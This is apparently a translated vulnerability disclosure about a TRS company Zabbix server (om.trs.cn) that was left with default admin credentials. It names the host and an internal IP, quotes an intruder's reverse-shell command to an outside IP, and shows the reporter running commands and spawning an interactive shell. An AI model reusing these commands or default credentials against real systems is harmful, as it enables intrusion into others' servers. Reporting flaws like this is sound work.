Default Account and command execution of a website in TRS (intrusion traces can be found in Intranet & amp)

Default Account and command execution of a website in TRS (you can access the Intranet and find intrusion traces)

Command Execution
The default admin/zabbix account and password exist in om.trs.cn: 9200.
 

I have read serverip: 192.9.200.29 is indeed an intranet, and it is an online environment, which has a great impact on in-depth use.
 

Confirm again for internal use of TRS.
 

By viewing Administration -- Scripts, you can find that someone has used the following command:
 

bash -i >& /dev/tcp/131.155.176.51/9999 0>&1

 

 

Query the IP address and find that it is from the Netherlands.

Then run the script to execute the command rebound:

Cat/etc/hosts
 

View ps-ef:
 

 

python -c ‘import pty; pty.spawn(“/bin/sh”)’

The built-in python can be used to obtain an interactive shell so that we can obtain the root permission.

The privilege zabbix is returned, and the privilege root has been revoked.

 

Solution:

Ask the vendor for self-check.